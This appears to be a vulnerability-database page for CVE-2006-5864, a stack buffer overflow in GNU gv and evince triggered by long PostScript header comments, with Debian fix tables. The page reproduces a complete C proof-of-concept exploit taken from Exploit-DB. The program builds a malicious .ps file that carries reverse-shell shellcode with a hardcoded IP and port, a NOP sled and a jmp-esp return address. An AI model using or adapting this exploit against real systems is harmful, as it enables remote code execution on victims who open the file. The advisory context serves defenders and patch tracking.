CVE-2006-5864
Description
Stack-based buffer overflow in the ps_gettext function in ps.c for GNU gv 3.6.2, and possibly earlier versions, allows user-assisted attackers to execute arbitrary code via a PostScript (PS) file with certain headers that contain long comments, as demonstrated using the (1) DocumentMedia, (2) DocumentPaperSizes, and possibly (3) PageMedia and (4) PaperSize headers. NOTE: this issue can be exploited through other products that use gv such as evince.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
Mitigation details
CVE-2006-5864 NameCVE-2006-5864 DescriptionStack-based buffer overflow in the ps_gettext function in ps.c for GNU gv 3.6.2, and possibly earlier versions, allows user-assisted attackers to execute arbitrary code via a PostScript (PS) file with certain headers that contain long comments, as demonstrated using the (1) DocumentMedia, (2) DocumentPaperSizes, and possibly (3) PageMedia and (4)…
CVE-2006-5864
| Name | CVE-2006-5864 |
| Description | Stack-based buffer overflow in the ps_gettext function in ps.c for GNU gv 3.6.2, and possibly earlier versions, allows user-assisted attackers to execute arbitrary code via a PostScript (PS) file with certain headers that contain long comments, as demonstrated using the (1) DocumentMedia, (2) DocumentPaperSizes, and possibly (3) PageMedia and (4) PaperSize headers. NOTE: this issue can be exploited through other products that use gv such as evince. |
| Source | CVE (at NVD; CERT, ENISA, LWN, oss-sec, fulldisc, Debian ELTS, Red Hat, Ubuntu, Gentoo, SUSE bugzilla/CVE, GitHub advisories/code/issues, web search, more) |
| References | DSA-1214-1, DSA-1214-2, DSA-1243-1 |
| Debian Bugs | 398292, 400904, 400906, 402063 |
Vulnerable and fixed packages
The table below lists information on source packages.
| Source Package | Release | Version | Status |
|---|---|---|---|
| evince (PTS) | bullseye | 3.38.2-1 | fixed |
| bullseye (security) | 3.38.2-1+deb11u1 | fixed | |
| bookworm | 43.1-2 | fixed | |
| bookworm (security) | 43.1-2+deb12u1 | fixed | |
| trixie | 48.1-3 | fixed | |
| trixie (security) | 48.1-3+deb13u1 | fixed | |
| forky, sid | 49~alpha.1-1 | fixed | |
| gv (PTS) | bookworm, bullseye | 1:3.7.4-2 | fixed |
| trixie | 1:3.7.4-3.1 | fixed | |
| forky, sid | 1:3.7.4-3.2 | fixed |
The information below is based on the following data on fixed versions.
| Package | Type | Release | Fixed Version | Urgency | Origin | Debian Bugs |
|---|---|---|---|---|---|---|
| evince | source | sarge | 0.1.5-2sarge1 | DSA-1243-1 | ||
| evince | source | (unstable) | 0.4.0-3 | medium | 400904, 400906, 402063 | |
| gv | source | sarge | 1:3.6.1-10sarge2 | DSA-1214-2 | ||
| gv | source | (unstable) | 1:3.6.2-3 | medium | 398292 |
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Evince Document Viewer - 'DocumentMedia' Remote Buffer Overflow
/*
* Creator: K-sPecial (xzziroz.net) of .aware (awarenetwork.org)
* Name: evince-ps-field-bof.c
* Date: 11/27/2006
* Version:
* 1.00 - creation
*
* Other: this idea originaly came from the bid for the 'gv' buffer overflow (20978), i don't
* believe it's known until now that evince is also vulnerable.
*
* Compile: gcc -o epfb evince-ps-field-bof.c -std=c99
*/
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <arpa/inet.h>
// insert shellcode here, i'm not going to implement ip/port changing since
// metasploit's shellcode generation engine does it just fine. i had a picky time
// with the shellcodes, there must be some bad bytes. this shellcode from
// metasploit works but be SURE to set Encoder=None
/* linux_ia32_reverse - LHOST=67.76.107.14 LPORT=5555 Size=70 Encoder=None http://metasploit.com */
char cb[] =
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"
"\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\x43\x4c\x6b\x0e\x66\x68"
"\x15\xb3\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"
"\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xb0\x0b\xcd\x80";
// location of "jmp *%esp"
char jmpesp[] = "\x77\xe7\xff\xff";
int main (int argc, char **argv) {
FILE *fh;
if (!(fh = fopen(*(argv+1), "w+b"))) {
printf("%s <file.ps>\n\n", *(argv));
printf("[-] unable to open file '%s' for writing: %s\n", *(argv+1), strerror(errno));
exit(1);
}
fputs("%!PS-Adobe-3.0\n", fh);
fputs("%%Title: hello.ps\n", fh);
fputs("%%For: K-sPecial (xzziroz.net) of .aware (awarenetwork.org)\n", fh);
fputs("%%BoundingBox: 24 24 588 768\n", fh);
fputs("%%DocumentMedia: ", fh);
for (int i = 0; i < 100; i++)
fputc(0x90, fh);
fwrite(cb, strlen(cb), 1, fh);
for (int i = strlen(cb) + 100; i < 273; i++)
fputc('A', fh);
fwrite(jmpesp, 4, 1, fh);
fwrite("\xe9\x02\xff\xff\xff", 5, 1, fh);
fputc('\n', fh);
fputs("%%DocumentData: Clean7Bit\n", fh);
fputs("%%Orientation: Landscape\n", fh);
fputs("%%Pages: 1\n", fh);
fputs("%%PageOrder: Ascend\n", fh);
fputs("%%+ encoding ISO-8859-1Encoding\n", fh);
fputs("%%EndComments\n", fh);
return(0);
}
// milw0rm.com [2006-11-28]
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 0.4.0-3 |
| sid | Fixed | 0.4.0-3 |
| forky | Fixed | 0.4.0-3 |
| bullseye | Fixed | 0.4.0-3 |
| bookworm | Fixed | 0.4.0-3 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.